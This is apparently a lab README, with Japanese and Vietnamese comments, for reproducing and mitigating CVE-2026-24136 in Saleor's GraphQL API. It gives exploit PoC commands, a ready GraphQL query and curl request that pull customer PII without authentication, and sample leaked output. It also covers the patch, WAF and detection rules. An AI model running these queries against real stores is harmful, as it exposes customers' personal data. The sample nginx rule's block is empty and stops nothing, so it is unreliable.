cve-2026-24136-lab/
├── docker-compose.yml          # ラボ環境 (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # 自動起動スクリプト (Windows PowerShell)
├── setup_lab.sh                # 自動起動スクリプト (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # 起動ラッパー: wsgiバグの修正 + gunicorn
    ├── seed_data.py            # PIIを含む被害者アカウントと注文を作成
    └── poc_cve_2026_24136.py   # エクスプロイトPoC

# 必要に応じて実行ポリシーを変更
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# 自動セットアップを実行
.\setup_lab.ps1

chmod +x setup_lab.sh
./setup_lab.sh

# 1. コンテナを起動
docker compose up -d

# 2. APIが準備できるのを待つ (~60-90秒)
#    確認: curl http://localhost:8000/health/

# 3. 管理者アカウントを作成
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. 商品/チャネルを投入
docker exec cve_saleor_api python manage.py populatedb

# 5. 被害者データを作成 (PIIを含むアカウントと注文)
cd scripts
pip install requests
python seed_data.py

cd scripts

# 技術的説明を表示
python poc_cve_2026_24136.py explain

# シードされたリストからエクスプロイト (推奨 - Saleor 3.xはUUID IDを使用)
python poc_cve_2026_24136.py file order_ids.json

# 単一の注文をbase64グローバルIDで直接エクスプロイト
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# シーケンシャルに列挙 (整数IDを使用するSaleor < 3.xでのみ動作)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# ターゲットAPIの変更
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# 結果をJSONに保存
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

base64("<TypeName>:<internal_id>")

# internal_idはUUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
    """Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session

# Query definition, không khai báo permissions
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Không có @permission_required, không có guard nào

query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}

# curlで送信、トークン不要
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# レスポンス (認証不要):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

Attacker (anonymous)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NO Authorization header)            |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

# PHIÊN BẢN ĐÃ PATCH (>= 3.20.110)
def resolve_order(root, info, id):
    """Resolve order by ID với authorization check đầy đủ."""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # Guard 1: Staff và App có thể xem mọi order
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # Guard 3: Authenticated user chỉ được xem order của chính mình
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order

# Thêm annotation để document permission requirement
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Không có Authorization header)

─────────────────────────────────────────────
TRƯỚC PATCH (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "[email protected]"}}}
  → PII bị lộ

─────────────────────────────────────────────
SAU PATCH (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → Trả null, không có lỗi (intentional – không để attacker
    biết order có tồn tại hay không)
─────────────────────────────────────────────

Integer IDs (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → N個の注文を列挙するのにO(N)リクエストが必要
  → 攻撃者は二分探索で注文の総数を特定できる

UUID IDs (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → 探索空間: 2^122 (UUID v4は122ビットの乱数)
  → 実際的なブルートフォースは不可能
  → ただし、IDは注文確認メール、ダッシュボードのURL、APIレスポンス、ログなどを通じて漏洩するため、攻撃者が1つのIDを入手すれば、依然としてエクスプロイト可能

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – Attack Vector: Network      (インターネット経由でエクスプロイト可能)
AC:L  – Attack Complexity: Low      (特別な条件は不要)
PR:N  – Privileges Required: None   (アカウント不要)
UI:N  – User Interaction: None      (被害者の操作不要)
S:U   – Scope: Unchanged            (Saleor APIのみに影響)
C:H   – Confidentiality: High       (完全なPIIが漏洩)
I:N   – Integrity: None             (データの改ざんは不可)
A:N   – Availability: None          (DoSは発生しない)

# 現在のバージョンを確認
pip show saleor | grep Version

# 修正バージョンにアップグレード
pip install "saleor>=3.20.110"   # 3.20.x系を使用している場合
pip install "saleor>=3.21.45"   # 3.21.x系を使用している場合
pip install "saleor>=3.22.29"   # 3.22.x系を使用している場合

# Nginx – 認証されていないリクエストからのGraphQL orderクエリをブロック
location /graphql/ {
    # Authorizationヘッダーがなく、ボディに"order("が含まれる場合
    if ($http_authorization = "") {
        # エクスプロイトの兆候があるクエリをブロック
        # 注: これは一時的な解決策であり、パッチの代わりにはなりません
    }
    proxy_pass http://saleor_api;
}

{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}

# 認証されていないIPからのリクエストを制限
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}

# 検出: 1つのIPから多数の認証なしGraphQLリクエスト
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # 1つのIPから20リクエスト以上でアラート

# 検出: 認証なしリクエストボディ内の"order"パターン
# (JSONボディログが必要)

alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "CVE-2026-24136の悪用試行の可能性"
  description: "認証されていないGraphQL POSTリクエストの高レート"

# コンテナとボリュームを停止・削除 (データをすべて削除)
docker compose down -v

# コンテナのみ停止 (データを保持)
docker compose stop